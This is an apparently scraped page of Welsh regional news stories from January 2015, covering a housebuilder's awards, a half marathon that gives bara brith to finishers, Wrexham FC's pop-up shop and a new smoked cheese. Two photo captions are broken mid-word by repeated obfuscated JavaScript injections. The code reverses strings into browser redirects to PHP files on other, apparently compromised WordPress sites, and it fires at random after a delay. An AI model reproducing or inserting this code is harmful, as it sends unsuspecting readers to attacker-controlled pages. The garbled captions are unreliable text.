Category: News

Anwyl fly the flag for Wales with a double win at prestigious UK awards

Anwyl Rivulet Road, Wrexham, Housebuilder UK awards. Pictured From left, Anwyl Construction Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor Mat Anwyl, Pat Kelly, Site Manager, Gareth Jarvis, Wales & West Housing Development Officer , Anwyl Construction Direc$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tor Tom Anwyl and Construction Manager Iain Murray.

There was a double celebration for builders Anwyl Construction at a construction industry ‘Oscars’ in London.

The Rhyl-based company are no strangers to winning awards and have previously been nominated for UK building awards but this time they took home two top prizes.

They were short-listed by Housebuilder, the UK’s best read housebuilding publication, in the Best Community Initiative category of the awards for the £15-million 147-home scheme they are building in Wrexham for leading social housing organisation Wales & West Housing on two sites in the town, Kingsmills Road and Rivulet Road.

Anwyl were the only Wales-based company to make any of the shortlists where they joined a “who’s who” of the British housebuilding industry, from Taylor Wimpey and Barratt to Redrow, while projects include the London Olympics Athletes Village and the Royal Arsenal Riverside regeneration.

When compere Stephen Mangan read out the results, Anwyl had not only scooped their category but were also named the UK’s Best Builder – Up to 500 Homes a Year Sector.

Construction Manager Iain Murray, who has been in charge of the Wrexham project, was there to receive the awards and he said: “It was a fantastic result because we were in a category with the likes of Miller Homes, Taylor Wimpey, Morston Assets and Dundas Estates.

“Talking to the big industry names there, they rate these awards very highly and really aspire to win them so for Anwyl to go there and compete with them and come out on top is a real feather in our cap.”

A Housebuilder UK spokesperson said: “Anwyl is the community king this year for recognising the positive economic impact a scheme can have on a local area.

“The development has spawned 16 apprenticeships, 18 work experience opportunities, 11 new employees and one new sub-contractor.”

They were also praised for using Meet The Buyer events successfully so that 90 per cent of sub-contractors were from within four miles of the site and for involving local community groups and schools.

The Judges’ verdict was: “The community initiative category has become increasingly important in a world of the National Planning Policy Framework and localism.

“There was a nice range of entries showing different ways of engaging with the community with the five finalists displaying good initiatives.

“But the winner was Anwyl, a regional firm, who demonstrated how the community could benefit hugely from investment with an initiative described as ‘hugely impressive’.”

The judges were also impressed that Anwyl had beaten off competition from much bigger firms to win the Community Initiative crown and that was the deciding factor in awarding them the Best Builder – Up to 500 Homes a Year award.

Anwyl Construction Director Tom Anwyl said: “We are delighted to have successfully flown the flag for the Welsh construction industry and to have shown that we can compete with the largest names in the industry.

“This shows that we have the skills and expertise here to take on major projects and carry them out to a high standard and in a way that is sensitive to the needs of the local community.

“As a North Wales-based company it is important to us that the local economy benefits from major projects like the Kingsmills and Rivulet sites and that they create the opportunities for local jobs and apprenticeships and are very proud of the fact that 20% of our own 150-strong workforce began their careers with us as apprentices.

“One of the criteria we used to select sub-contractors for this project was that they should share our commitment to providing a start in the construction industry to young people.

“We have worked hard with the local further education colleges and local organisations to help them make the most of the opportunities available.”

Anne Hinchey, Chief Executive of Wales & West Housing, said: “We’re delighted to hear this news. Anwyl Construction deserve this as they have been very proactive in working with us to provide training apprenticeships on our Wrexham sites and tap into local supply chains and labour.

“They also worked closely with the local community, including schools on a successful site safety campaign.”

Anwyl estimate that 70 per cent of the £15 million cost of the developments at Rivulet Road and Kingsmills Road will go on wages to an almost entirely North Wales-based workforce.

Tom Anwyl added: “It was always our intention to ensure that this major contract should bring benefits to the local area, and we’re delighted that this is happening.

“It was important to both Wales & West Housing and ourselves that this project would provide as many high quality training opportunities as possible, and also that it brings a real economic benefit to Wrexham and North East Wales.”

The twin developments for Wales & West Housing, working in partnership with Wrexham County Borough Council, are due to be completed early next year.

Rivulet Road will see 35 houses and apartments built, as well as a five-storey block of 20 apartments, while a further 92 homes will be developed at Kingsmills Road. The project also includes a new Community Resource Centre and Medical Facility.

Monday January 19th, 2015

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Wrexham half marathon runners will be rewarded with fruity bara brith

Village Bakery Wrexham. Pictured (from left) is Pete Norman, Mike Harring$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton, Dave Edwards, Robin Jones MD Village Bakery, David Alun Williams and Arthur Egan.

A former world champion athlete used his loaf when he was looking for sponsorship for a half marathon that’s celebrating its 20th anniversary this year.

As a result, instead of getting medals, competitors taking part in the event in Wrexham receive a traditional Welsh fruit loaf, bara brith, made by sponsors the Village Bakery – and they love it.

The Village Bakery Half Marathon is the brainchild of the spectacularly successful triathlete and iron man, Peter Norman, 77, who is now battling prostate cancer with equal determination.

He established the event in 1995 when he was working as a maintenance engineer with the Village Bakery who have sponsored the event ever since.

This year they’ll again be giving a loaf of their mouth-watering bara brith to every single one of the 500 competitors who complete the course.

The annual event has grown in popularity with – and Peter is convinced that the lure of the fruity bara brith is crucial.

This year the race is being held on Sunday, February 15, and it will start and finish on Wrexham Industrial Estate.

As well as being a key member of the organising team, Peter is also undergoing radiotherapy treatment throughout January.

Undaunted, he’s looking forward to start racing again himself once the main season starts in May.

Peter, from Tai Nant, near Penycae, who only started running at the age of 50, is a former world champion triathlete in his age group and has won the British championships many times including last year.

He is equally adept at the so-called sprint triathlons which include a 750 metre swim, a 10 mike bike ride and a three mile run and the full iron man distances of a 2 ¼ mile swim in the sea, 112 miles on the bike followed by a full marathon.

He recalled: “When I was 70 I won the sprint world championship in Hamburg and when I was 75 I did two iron man events in Lanzarote and Hawaii.

“When I’m in training, I probably do about 30 miles a week running and this time of the year probably no more than about 30-40 miles on the bike.  I swim three miles a week.

“I should be alright after radiotherapy because the main outdoor season doesn’t start until May.

“I’ve entered a world championship off-road triathlon in Sardinia at the end of May and I’ve entered a race in Lanzarote called a volcano which is the standard distance.

“In addition, I’ve entered the British championships which I always do and I’ll see how I get on this year.

“But before then my focus is the Village Bakery Half Marathon which has developed into a great event.

“It’s fantastic that the Village Bakery sponsor the half marathon, not least because you get bara brith at the end of the race – it helps attract people to take part.

“The competitors look forward to it every year because it really is delicious. You don’t get bara brith anywhere else – you usually get medals.

“It’s an incentive for people to finish the race and they keep on coming back every year so they must like it. Some people come from as far as London.”

Village Bakery managing director Robin Jones said: “As a family-run, community-based bakery, we’ve had links from the very beginning with Peter and we’re delighted we have been sponsoring the race for 20 years solid.

“Appropriately, the participants will be running past our two bakeries on Wrexham Industrial Estate twice during the course of the race.

“Peter thought it would be a great idea to give the runners a bara brith because he was fed up with cheap socks or gifts that everybody else gave out and the runners loved it.

“He has got so much energy, he doesn’t stop and I’m so proud to be associated with Peter after so many years of retirement.

“Peter is an inspiration and we all wish him the very best in overcoming the prostate cancer.”

This year Wrexham Amateur Athletic Club have enlisted the help of Cheshire-based Cute Fruit Events who have introduced online entries and microchip timing technology.

Club Chairman Alun Williams said: “We celebrated our 60th anniversary last year and this will be the 20th anniversary of the Village Bakery Half Marathon so it’s a big year for us.

“You wouldn’t believe the number of people who come to me at the start and ask if they’re still having a bara brith because they think it’s absolutely wonderful. The support we’ve had from the Village Bakery has been brilliant.”

Monday January 19th, 2015

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Wrexham FC scores a big hit with record sales at Eagles Meadow

WxmFCshop-1 ceidiog

WREXHAM FC have scored a record-breaking success with their latest pop-up store – with takings up 25 per cent on last year.

Steve Cook, commercial manager of the Vanarama Conference side now being successfully run by its own fans, says the shop at the town’s Eagles Meadow shopping centre has given the club’s finances a major boost.

According to Steve, the prime location and the huge range of quality stock has helped them rack up around £90,000 of sales.

Steve said: “We opened the Christmas shop at the end of November and we’re due to close it on January 18 but during the crucial December period it exceeded all our expectations,” he explained.

“We took almost £90,000, which is roughly 25 per cent more than we did when we had the shop at Eagles Meadow the previous December.

“That’s just amazing and means we’ve raised something like a third of our total annual retail budget in just one month.”

He added: “One of the major factors in the shop’s success has been its great location near the pedestrian bridge at the St Giles Church end of the centre. We are one of the very first shops people have been seeing as they’ve come in to do their shopping and that’s helped tremendously.

“Another thing which has helped boost our takings is the increased range of merchandise in the shop. The previous Christmas we had a pretty good range of stock but this time we’ve had substantially more to offer our fans.

WxmFCshop-12 ceidiog

“We opened with stock worth about £100,000 and there were over 130 different products which included something for everyone, from kids to adults and both men and women.

“For the first time we’ve had items such as dressing gowns in three different colours, all bearing the club’s crest, and there have also been other novel lines such as cufflinks, ties and iPad covers.

WxmFCshop-11 ceidiog

“Many of our customers have been commenting on the quality of the products. For instance, some of the bobble hats we were offering weren’t just the usual ones bearing the club’s name but were also quite fashionable designs like you’d see in the best high street shops.

“We were also offering items you definitely wouldn’t see anywhere else such as Wrexham FC branded boxer shorts for the guys.

“Apart from the clothing the store has also been stocking lots of items bearing our 150th anniversary crest, from crystal glassware to car mats, which went down very well.

“I’d say that our most popular lines have been our latest home shirts, polo shirts and hoodies, which have all been flying off the shelves.

“We put a lot of effort into the design of the shop and outside we had some big stickers over the windows saying things like `Oh Come all Ye Faithful’, which was appropriate for Christmas and was a message that our fans certainly heeded as they came flocking through the door.

“With the effort that’s gone into it I think you’d be hard pressed to find another store like this right up to Premiership level.”

Steve said that everyone at the club was delighted with how the shop had performed and its managers were already thinking of mounting a similar venture later this year.

He said: “This has been our fifth pop-up shop at Eagles Meadow and myself and all the board members as so pleased with how it has done this year that we’ve got our sights set on offering our fans something similar in the shopping centre this summer.

“The Eagles Meadow shop is now such an important part of our retail strategy that we just can’t afford to stay away.

“I’d also like to say how grateful we are to the centre management team for again being so accommodating. They were extremely helpful to us all the way through the process of setting up the store.”

Eagles Meadow manager Kevin Critchley was delighted to welcome Wrexham FC back to the shopping centre.

He said: “Wrexham is a football mad town and the club is part of the fabric of the community here so we are pleased to be able to do what we can to support them.

“I am thrilled that the shop has done so well here at Eagles Meadow, providing a timely boost to the club’s finances.”

Friday January 16th, 2015

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New smoked cheese from Bodnant ready for nationwide roll-out

BODNANT WELSH FOODS . Pictured at Chirk Smokery is Richard Simpson with Debbie Leviseur, dairy sales and marketing at Bodnant .

A Welsh centre of food excellence is rolling out a new smoked variety of its award-winning cheese.

Abermwg from Bodnant Welsh Food Centre is cold-smoked over oak and beech wood chips at a Chirk company that supplies food for the Orient Express.

BODNANT WELSH FOODS . Abermwg smoked cheese

The new hand-tended cows-milk artisan cheese has proved so popular in trials with shoppers that Bodnant Welsh Food Centre is now making it available across the UK.

The centre in the Conwy valley supplies independent delicatessens, farm shops and restaurants around the country with the cheeses it makes in its on-site dairy, using full-fat milk from by a neighbouring farmer’s herd of Friesians cows.

The cheeses include the award-winning white Aberwen – which also has an extra-matured variety – and Abergoch red cheese. The company also makes Bodnant Valley White, just for Sainsbury’s delicatessen counters.

Bodnant has now joined forces with Chirk Trout Farm and Food Smokery, which dates back to the 1890s, to create Abermwg, a smoked version of the top-selling Aberwen, with a tawny orange rind.

Chris Morton, managing director of Bodnant Welsh Food Centre, said: “This is another successful story for our on-site dairy, and a great way to start 2015.

“Feedback from our customers who have been sampling the cheese has been very positive and so we are now going into full production. We’ve got more innovations in the coming months, so we will be keeping the dairy very busy.”

The new variety was developed by the centre’s cheese-maker Aled Rowlands together with cheese sales and marketing manager Debbie Leviseur.

“We could see that there was room in the market for an artisan smoked cheese – the Aberwen is perfect because it is firm and creamy and so it takes up the smoking flavours easily,” said Debbie.

“The name was a simple choice – our cheeses are all called Aber, which means river mouth in Welsh as we overlook the River Conwy estuary, and Mwg is smoke in Welsh.

“We have had samples on sale here at Bodnant Farm Shop plus it’s been on offer in our tea-rooms and Hayloft restaurant. We have also made it available to some of the independent delicatessens, farm shops and restaurants that we supply around Wales and other parts of the UK.

“Their feedback has helped us to develop the cheese and we are now making more and more as it gets better known.

“Here at Bodnant our aim is to promote Welsh food and so I wanted a Welsh smokery to produce the new cheese, rather than adding flavourings. Initially I contacted the fish farm to sell our present range of cheese, as it has a farm shop, then realised that it would be the perfect place for making the new smoked cheese.”

Around 15 wheels of Aberwen cheese, each weighing three kilos, are put into the hot smoker by owner Richard Simpson, and left there in temperatures around 25ºC for up to three days to take up the flavours. When they come out the cheeses have developed a rich tawny orange rind and a smoky flavour that’s perfect for cheeseboards or using in cooking.

The cheeses are then returned to Bodnant, where they are packaged and sent out by specialist artisan cheese wholesalers Blas ar Fwyd, Caws Cymru, Castell Howell, Michael Lee and Carron Lodge to retailers and restaurants around the UK.

The fish farm in the Glyn Ceiriog valley dates back to the 1890s, explained owner Richard Simpson, and once supplied the historic nearby Chirk Castle.

“We supply many restaurants, butchers and food companies – for example, our smoked fish is served up on the Orient Express – and we started the smokery side a few years back.

“The Abermwg is a lovely cheese, and takes to the smoking process really well. It goes into our smokebox over a fire fed by a blend of mainly oak, ash and beech chips, from up the valley in Glyn Ceiriog, for the best flavour.

“The warm, smoky air gently dries and preserves the food. This takes two to three days and is where the skill and experience comes in as conditions outside – wind, temperature or sunshine – have to be taken into account.

“We only use traditional methods to ensure the best results and the real taste of properly smoked foods, rather than the artificial smoked flavours used in processed foods,” added Richard.

The cheeses are made at Bodnant with milk that is delivered fresh from the farm by tanker. It is pasteurised on site in the dairy, before being heated to 32ºC, when cultures and vegetable rennet are added, then cooled to create the cheese curds.

The whey is strained off – this goes back to the farm to be used a fertiliser on the fields – and the curds salted and pressed into shape in a mould. Each 10kg cheese is hand-wrapped in traditional muslin bindings, to allow the cheese to breathe, and matured for at least four months in the storage rooms at Bodnant. There the natural moulds from the air help develop each variety’s unique flavour.  Aled checks, turns and tastes the cheeses as they mature in the dark, at 11ºC, until he judges they are ready to leave.

Bodnant’s dairy also makes ice-creams that are sold in the centre’s tearooms, Hayloft restaurant and the farm shop, along with butter that is still patted and shaped by hand, and sold wrapped in greaseproof paper.

The £6m Bodnant Welsh Food Centre at the converted Furnace Farm, Tal-y-cafn, in the Conwy valley, was formally opened by Prince Charles in July 2012 and has seen revenue rise to £2.4m, up 35% from £1.77m in the centre’s first year of trading. It also welcomed 243,000 visitors – up from 214,000 (13.5%) on the previous year.

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More than 80 people are employed in the farm shop, wine cellar, tea rooms, Hayloft restaurant and farmhouse accommodation along with the Welsh Bee Centre, while more than 100 artisan food producers are represented at Bodnant

More details at www.bodnant-welshfood.co.uk or call 01492 651100

Friday January 16th, 2015

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News

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